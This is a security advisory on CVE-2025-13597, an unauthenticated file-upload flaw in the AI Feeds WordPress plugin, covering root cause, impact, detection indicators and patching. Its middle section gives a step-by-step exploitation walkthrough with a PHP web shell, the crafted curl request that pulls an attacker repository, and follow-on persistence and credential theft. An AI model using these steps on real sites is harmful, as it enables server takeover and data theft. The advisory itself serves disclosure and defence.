CVE-2025-13597: 
WordPress vulnerability analysis and mitigation

CVE-2025-13597 is an unauthenticated arbitrary file upload vulnerability in the AI Feeds plugin for WordPress, affecting all versions up to and including 1.0.11. The flaw resides in the actualizador_git.php file, which lacks any authentication or capability checks, allowing unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files — potentially enabling remote code execution (RCE). It was published on November 25, 2025, and was assigned by Wordfence. It carries a CVSS v3.1 base score of 9.8 (Critical) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type), compounded by a missing capability/authorization check (CAPEC-1). The vulnerable file actualizador_git.php is directly accessible via HTTP because it lacks the standard WordPress ABSPATH guard (if (!defined('ABSPATH')) exit;). All parameters — owner, repo, ref, and token — are read directly from $_GET without validation; the only check is whether the token is empty or the default placeholder string. An attacker can supply a GitHub Personal Access Token (PAT) they control, point the script at an attacker-owned repository containing a web shell, and the script will download the ZIP, extract it, and recursively overwrite all files in the plugin directory — including deleting files not present in the attacker's repository. A public PoC and detailed code-path analysis are available (GitHub PoC, Wordfence).

Successful exploitation grants an unauthenticated remote attacker the ability to place arbitrary PHP files (e.g., web shells) in the WordPress plugin directory, achieving full remote code execution as the web server process (typically www-data). This results in high impact across confidentiality (data exfiltration), integrity (content modification, plugin file overwrite), and availability (service disruption or destruction of plugin files). An attacker with a web shell can pivot to further compromise the underlying server, access databases containing user credentials, and potentially move laterally within the hosting environment (GitHub PoC, Wordfence).

A public proof-of-concept exploit (CVE-2025-13597.py) was published on GitHub by researcher d0n601 on March 2, 2026, demonstrating end-to-end unauthenticated RCE by uploading a web shell via the vulnerable endpoint (GitHub PoC). The vulnerability requires no authentication, no user interaction, and has low attack complexity, making it trivially exploitable by any attacker with a GitHub PAT. As of the latest available data, there is no confirmed evidence of in-the-wild exploitation, and the CVE is not listed in the CISA KEV catalog. The EPSS score is approximately 0.0025 (0.25%), reflecting low but non-negligible exploitation probability (Feedly).

1. Reconnaissance: Identify WordPress sites running the AI Feeds plugin (versions ≤ 1.0.11) using tools like WPScan, Shodan, or Google dorks (e.g., inurl:/wp-content/plugins/ai-feeds/).
2. Verify vulnerable endpoint: Confirm the file is accessible by sending an HTTP GET request to http://TARGET/wp-content/plugins/ai-feeds/actualizador_git.php — a 400 response ("Falta token") confirms the endpoint is live.
3. Prepare malicious repository: Create a public or private GitHub repository containing a PHP web shell (e.g., shell.php with <?php system($_GET['cmd']); ?>).
4. Generate a GitHub PAT: Create a GitHub Personal Access Token with at least repo read scope to authenticate the download request.
5. Trigger the exploit: Send a crafted GET request to the vulnerable endpoint with attacker-controlled parameters:

   curl "http://TARGET/wp-content/plugins/ai-feeds/actualizador_git.php?owner=ATTACKER&repo=MALICIOUS_REPO&ref=main&token=GITHUB_PAT"

   The script downloads the attacker's repository ZIP, extracts it, and overwrites all files in the plugin directory — including placing shell.php.
6. Execute commands: Access the deployed web shell to run arbitrary OS commands:

   curl "http://TARGET/wp-content/plugins/ai-feeds/shell.php?cmd=whoami"

7. Establish persistence: Use the shell to deploy a reverse shell, create a backdoor user, or exfiltrate database credentials from wp-config.php (GitHub PoC).

• Network: Unusual HTTP GET requests to /wp-content/plugins/ai-feeds/actualizador_git.php with owner, repo, ref, and token query parameters from external IPs; outbound connections from the web server to api.github.com (specifically to download ZIP archives of unknown repositories); subsequent HTTP requests to /wp-content/plugins/ai-feeds/shell.php or other unexpected PHP files in the plugin directory.
• File System: Presence of unexpected PHP files (e.g., shell.php, cmd.php) in /wp-content/plugins/ai-feeds/; modification timestamps on plugin directory files inconsistent with the plugin's install/update history; missing legitimate plugin files replaced by attacker-controlled content.
• Logs: Web server access logs showing GET requests to actualizador_git.php with query parameters; PHP error logs showing file extraction or copy operations; log entries for outbound cURL requests to api.github.com/repos/ with unfamiliar owner/repo combinations.
• Process: Unusual child processes spawned by the PHP/web server process (e.g., sh, bash, curl, wget, python) executing OS commands; processes accessing wp-config.php outside of normal WordPress operation (GitHub PoC).

The primary remediation is to update the AI Feeds plugin to a version beyond 1.0.11, which includes the fix (changeset 3402321 in the WordPress plugin repository) (WordPress Changeset). If immediate patching is not possible, disable the AI Feeds plugin entirely or restrict direct HTTP access to actualizador_git.php at the web server level (e.g., via .htaccess deny from all or Nginx location block). Additionally, implement WAF rules to block requests targeting the vulnerable endpoint, and audit the plugin directory for unauthorized file modifications or unexpected PHP files (Wordfence).

Wordfence, which discovered and assigned the CVE, published a weekly vulnerability report covering this issue for the week of November 24–30, 2025, highlighting it as a critical unauthenticated RCE risk (Wordfence Blog). Researcher Ryan Kozak (d0n601) published a detailed technical write-up and PoC exploit, providing a thorough code-path analysis of the vulnerability (Ryan Kozak Blog). The vulnerability was also included in CISA's weekly vulnerability bulletin for the week of November 24, 2025 (CISA Bulletin).